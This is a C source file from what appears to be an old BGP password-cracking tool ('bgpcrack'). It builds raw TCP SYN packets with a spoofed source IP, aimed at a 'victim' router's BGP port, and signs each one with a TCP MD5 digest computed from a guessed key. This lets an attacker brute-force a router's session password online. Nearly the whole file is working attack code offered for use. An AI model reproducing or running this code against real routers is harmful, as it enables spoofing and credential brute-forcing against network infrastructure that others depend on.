/*

online.c

Functions to do online password cracking.

Crafting packets by hand is a bitch, damn it.

$Id: online.c,v 1.2 2003/02/14 17:48:00 peloy Exp $
    
*/

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <time.h>
#include <string.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include "bgpcrack.h"

struct tcp_segment {
	struct tcphdr tcp;
	/* TCP options */
	u_char opt_type;
	u_char opt_len;
	u_char md5_digest[MD5_DIGEST_LENGTH];
	u_char eol;
};

/*
 * These vars. are initialized by online_init() and used by
 * online_crack().
 */
int sockfd;
struct sockaddr_in sockaddr;
struct { /* IP packet: IP header + TCP header + TCP options (no TCP data) */
	struct iphdr ip;
	struct tcp_segment tcp_segment;
} packet;

void online_init(struct in_addr spoof, struct in_addr victim)
{
	if ( (sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW) ) == -1)
		error(1, "socket()");

	srandom(time(NULL) );

	sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htons(179);
	sockaddr.sin_addr = victim;

	bzero(&packet, sizeof(packet) );

	/* IP header */
	packet.ip.version = 4;
	packet.ip.ihl = 5;
	packet.ip.tos = 0;
	packet.ip.tot_len = htons(sizeof(packet) );
	packet.ip.id = 0;
	packet.ip.frag_off = 0;
	packet.ip.ttl = htons(32000 + rand()%116);
	packet.ip.protocol = IPPROTO_TCP;
	packet.ip.saddr = spoof.s_addr;
	packet.ip.daddr = victim.s_addr;

	/* TCP header */
	packet.tcp_segment.tcp.source = htons(rand()%40000 + 1);
	packet.tcp_segment.tcp.dest = htons(179);
	packet.tcp_segment.tcp.seq = htons((rand()%40000000 + 1) >> 16);
	packet.tcp_segment.tcp.ack_seq = 0;
	packet.tcp_segment.tcp.doff = sizeof(struct tcp_segment)/4;
        
	packet.tcp_segment.tcp.res1 = 0;
	packet.tcp_segment.tcp.ack = 0;
	packet.tcp_segment.tcp.psh = 0;
	packet.tcp_segment.tcp.rst = 0;
	packet.tcp_segment.tcp.syn = 1; /* Oh yes! */
	packet.tcp_segment.tcp.fin = 0;

	packet.tcp_segment.tcp.window = htons(rand() % 1401 + 200);
	packet.tcp_segment.tcp.urg_ptr = 0;

	/* TCP options */
	packet.tcp_segment.opt_type = TCPOPT_SIGNATURE;
	packet.tcp_segment.opt_len = 2 + MD5_DIGEST_LENGTH;
	packet.tcp_segment.eol = TCPOPT_EOL;
}

void online_flush(void)
{
	close(sockfd);
}

void online_crack(char *key)
{
	struct {
		in_addr_t saddr;
		in_addr_t daddr;
		u_int16_t protocol;
		u_int16_t len;
		struct tcp_segment tcp_segment;
	} pseudo_packet;

	MD5_Final( (char *) &packet.tcp_segment.md5_digest,
		  tcp_sig( (struct iphdr *) &packet, key) );

	pseudo_packet.saddr = packet.ip.saddr;
	pseudo_packet.daddr = packet.ip.daddr;
	pseudo_packet.protocol = htons(packet.ip.protocol);
	pseudo_packet.len = htons(ntohs(packet.ip.tot_len) - packet.ip.ihl*4);
	memcpy(&pseudo_packet.tcp_segment, &packet.tcp_segment,
	       sizeof(struct tcp_segment) );
	packet.tcp_segment.tcp.check = 0;
	packet.tcp_segment.tcp.check = in_cksum(&pseudo_packet,
						sizeof(pseudo_packet) );

	sendto(sockfd, &packet, sizeof(packet), 0,
		(struct sockaddr *) &sockaddr, sizeof(struct sockaddr_in) );

	usleep(options.delay);
}

